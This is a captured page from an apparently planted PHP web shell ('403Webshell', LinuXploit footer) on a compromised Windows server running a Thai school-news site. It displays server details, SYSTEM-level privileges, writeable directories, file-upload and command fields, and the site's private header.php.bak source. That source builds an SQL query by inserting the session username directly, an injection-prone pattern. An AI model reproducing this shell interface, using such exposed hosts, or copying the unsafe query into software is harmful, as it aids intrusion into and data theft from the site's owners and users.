403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/news/move/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/news/move//header.php.bak
<?php 
session_start();
include("db.php"); 
if(!isset($_SESSION['username'])){
}else{ 
$username1 = $_SESSION['username'];
$user1 = $mysqli->query("SELECT * FROM users WHERE username='$username1' LIMIT 1");
$userrow1 = mysqli_fetch_array($user1);
$_SESSION['uid'] = $userrow1['id'];
} 
$sitesettings = $mysqli->query("SELECT * FROM settings WHERE id='1'");
$settingsrow = mysqli_fetch_array($sitesettings);

?>
	<?php
		//session_start();
		if(!ISSET($_SESSION['username'])){
			//header('location:index.php');
		}else{
			if((time() - $_SESSION['time']) > 180){
				header('location: logout.php');
			}
		}
	?>
<!DOCTYPE HTML>
<html>
<head>

<!--
<style type="text/css">
html{ -moz-filter: grayscale(98%); -webkit-filter: grayscale(98%); filter: gray; /* IE6-9 */ filter: grayscale(98%); }
</style>
-->
<style>
a.one:link {color:#ffffff;}
a.one:visited {color:#ffffff;}
a.one:hover {color:#ffcc00;}
a.one:hover {font-size:120%;}
</style>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link rel="icon" type="image/png" href="https://thaitextanalytic.com/asset/images/green/logo.png" />

<script src="js/jquery.min.js"></script>
<script src="js/jquery.colorbox-min.js"></script>

<link href="css/style.css" rel="stylesheet" type="text/css">
<link href="css/colorbox.css" rel="stylesheet" type="text/css">
<!--[if lt IE 9]>
<script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->

<script>
$(document).ready(function(){
	$(".stopy-pop-up").colorbox();
	$(".other-pop-up").colorbox();
	$(".log-reg").colorbox();
})
</script>

</head>

<body>

<div id="fb-root"></div>


<div id="header">

<div class="header-container">
<div class="logo">
</div><!--logo-->

<div id="login-box">
<?php if(!isset($_SESSION['username'])){?>
<a class="one" href="login.php"><img src="images/peple.png" align="absmiddle">Login</a>

<?php }else{ ?>
Welcome <a class="logout" href="edit_user.php?id=<?php echo $userrow1['id'];?>"><?php echo ucfirst($_SESSION['username']);?> (<?php echo $userrow1['school'];?>)</a> | <a class="logout" href="logout.php">Logout</a>
<?php }?>
</div><!--login-box-->

</div><!--header-container-->

</div><!--header-->
<div id="container">
<div id="header-container2">
<!--header ปิดไว้ก่อน 23-06-2561
<form class="search-bar" method="get" action="search.php">
	<input type="text" name="term" id="term" />
	<button id="submit" class="search-button">Search</button>
</form>
-->
<!--search-bar-->

<div id="tab-container">
<div id="tabs">
   <ul>
<!--  <li><a href="index.html" title="Home"><span>หน้าแรก</span></a></li>  -->
 <?php if(!isset($_SESSION['username'])){?>
 <li><a href="index.php" title="Home"><span>ข่าวด่วน</span></a></li>
<!--  <li><a href="sesao8_all.html"><span>ข่าว สพม.8</span></a></li> 
  
  <li><a href="list.html"><span>ข่าวโรงเรียน</span></a></li>  -->

 <?php }else{ ?>
<!--  <li><a href="index.html" title="Home"><span>หน้าแรก</span></a></li>  -->
  <li><a href="news_office.php?id=<?php echo $userrow1['id'];?>"><span>ข่าวด่วน</span></a></li> 
<!--  <li><a href="allnews_edit.php?id=<?php echo $userrow1['id'];?>"><span>ข่าวกิจกรรม</span></a></li>   -->
  
<!-- 
  <li><a href="allnews_edit.php?id=<?php // echo $userrow1['id'];?>" ><span>+ แก้ไขข่าว</span></a></li>
 <li><a href="submit.html" ><span>+ เขียนข่าวใหม่</span></a></li></ul>
-->
<?php }?>
<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({
          google_ad_client: "ca-pub-6461791533063032",
          enable_page_level_ads: true
     });
</script>
</div><!--tabs-->
</div><!--tab-container-->
</div><!--header-container2-->

Youez - 2016 - github.com/yon3zu
LinuXploit